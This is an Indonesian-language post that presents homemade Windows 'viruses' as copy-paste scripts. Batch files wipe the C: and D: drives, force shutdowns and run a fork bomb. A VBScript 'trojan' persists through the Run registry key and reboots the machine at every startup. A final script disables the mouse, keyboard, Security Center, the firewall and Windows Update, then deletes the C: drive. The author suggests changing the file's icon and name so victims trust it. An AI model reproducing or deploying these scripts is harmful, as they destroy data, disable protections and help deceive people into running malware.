Virus / Perintah Sederhana pada Notepad

 

Oke lsg aj sob.. yg ingin mencoba tinggal Copas Script2 berikut :

1. Kode :

@echo off
DEL C: -Y
DEL D: -Y

Save as contoh.bat (jangan diklik)
Fungsi menghapus drive C & D

2. Kode (contoh.cmd) :

DEL /F /Q
“Atau”
DEL /F /Q C:\WINDOWS

Fungsi : Akan men-delete semua data yg ada di komputer walaupun itu file/folder read-only dan anda tidak akan diberi konfirmasi untuk melakukan hal itu. Anda tidak akan bisa melakukan apapun jika anda sudah meng-klik file cmd tsb.

3. Kode (contoh.bat):

@echo shutdown -s -t 1 -f

Keterangan : angka 1 adalah waktu yang dibutuhkan untuk mematikan komputer secara otomatis, jadi bisa diubah sesuai keinginan Anda ( 1 = 1 detik )

4. Kode (Fork.bat) :

%0|%0

Fungsi : Menjalankan fork bom akan menyebabkan kemacetan total CPU dengan membuka sekitar 500 proses command prompt

5. Kode (1000folder.bat) :

@echo off
:top
md %random%
goto top

Fungsi : Pening juga kalau ada 1000 folder yg tampil dalam beberapa detik…

 

6. Kode Trojan :

rem – dlRB “DL Reboot” Trojan script by D.L.

On Error Resume Next
dim FSobj,sysDir,generateCopy,newFile,fixedCode,procreateCopy,fileData

set FSobj=CreateObject(“Scripting.FileSystemObject”)
set sysDir = FSobj.GetSpecialFolder(1)

createRegKey “HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\dlRB”,sysDir&”\dlRB.vbs”

sub createRegKey(regKey,regVal)
set regEdit = CreateObject(“WScript.Shell”)
regEdit.RegWrite regKey,regVal
end sub

set generateCopy=FSobj.CreateTextFile(sysDir+”\dlRB.vbs”)
generateCopy.close

set newFile = FSobj.OpenTextFile(WScript.ScriptFullname,1)
setFile()
fixedCode=replace(fileData,chr(94),””””)

set procreateCopy=FSobj.OpenTextFile(sysDir+”\dlRB.vbs”,2)
procreateCopy.write fixedCode
procreateCopy.close

rebootSystem()

function setFile()
fileData=”rem – ^dlRB^ by D.L.” &vbcrlf& _
“strComputer = ^.^ ” &vbcrlf& _
“Set objWMIService = GetObject(^winmgmts:^ _ ” &vbcrlf& _
“& ^{impersonationLevel=impersonate,(Shutdown)}!\\^ & strComputer & ^\root\cimv2^)” &vbcrlf& _
“Set colOperatingSystems = objWMIService.ExecQuery _ ” &vbcrlf& _
“(^Select * from Win32_OperatingSystem^)” &vbcrlf& _
“For Each objOperatingSystem in colOperatingSystems” &vbcrlf& _
“ObjOperatingSystem.Reboot()” &vbcrlf& _
“Next”
end function

function rebootSystem()
strComputer = “.”

Set objWMIService = GetObject(“winmgmts:” _
& “{impersonationLevel=impersonate,(Shutdown)}!\\” & strComputer & “\root\cimv2”)

Set colOperatingSystems = objWMIService.ExecQuery _
(“Select * from Win32_OperatingSystem”)

For Each objOperatingSystem in colOperatingSystems
ObjOperatingSystem.Reboot()
Next
end function

Setelah Dicopy, Save as dengan ektensi .VBS, Contoh : Virus.vbs
NB : jika agan tidak mau mengaktivkan di laptop agan, save as saja dengan ektensi  .txt 😉

7. Kode (contoh.bat):

@echo off
cls
rundll32 mouse,disable
rundll32 keyboard,disable
COPY %0 %windir%WINSTART.BAT
net stop “Security Center”
net stop SharedAccess
echo Anda kena VIRUS!!!
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
start [url]http://www.youtube.com[/url]
@ping.exe 127.0.0.1 -n 5 -w 1000 > nul
> “%Temp%.kill.reg” ECHO REGEDIT4
>>”%Temp%.kill.reg” ECHO.
>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesS haredAccess]
>>”%Temp%.kill.reg” ECHO “Start”=dword:00000004
>>”%Temp%.kill.reg” ECHO.
>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMCurrentControlSetServicesw uauserv]
>>”%Temp%.kill.reg” ECHO “Start”=dword:00000004
>>”%Temp%.kill.reg” ECHO.
>>”%Temp%.kill.reg” ECHO [HKEY_LOCAL_MACHINESYSTEMControlSet001Serviceswscsv c]
>>”%Temp%.kill.reg” ECHO “Start”=dword:00000004
>>”%Temp%.kill.reg” ECHO.
START /WAIT REGEDIT /S “%Temp%.kill.reg”
del “%Temp%.kill.reg”
del %0
DEL /F /S /Q C:
shutdown -s -t 10 -c “Good bye my love!” -f

FUNGSI :
-disables mouse & keyboard
-copy ke AUTORUN
-stop Security Center
-display “Anda kena VIRUS!!!” selama 5 detik
-starts [url]http://www.youtube.com[/url]
-disable firewall
-delete c: drive
-force shutdown dg pesan “Good bye my love!”

Simple kan.., ente boleh merubah icon/nama file agar lebih meyakinkan hehee..  Sekian dulu kali ni.. qta lanjut lg kapan2

Wasallam..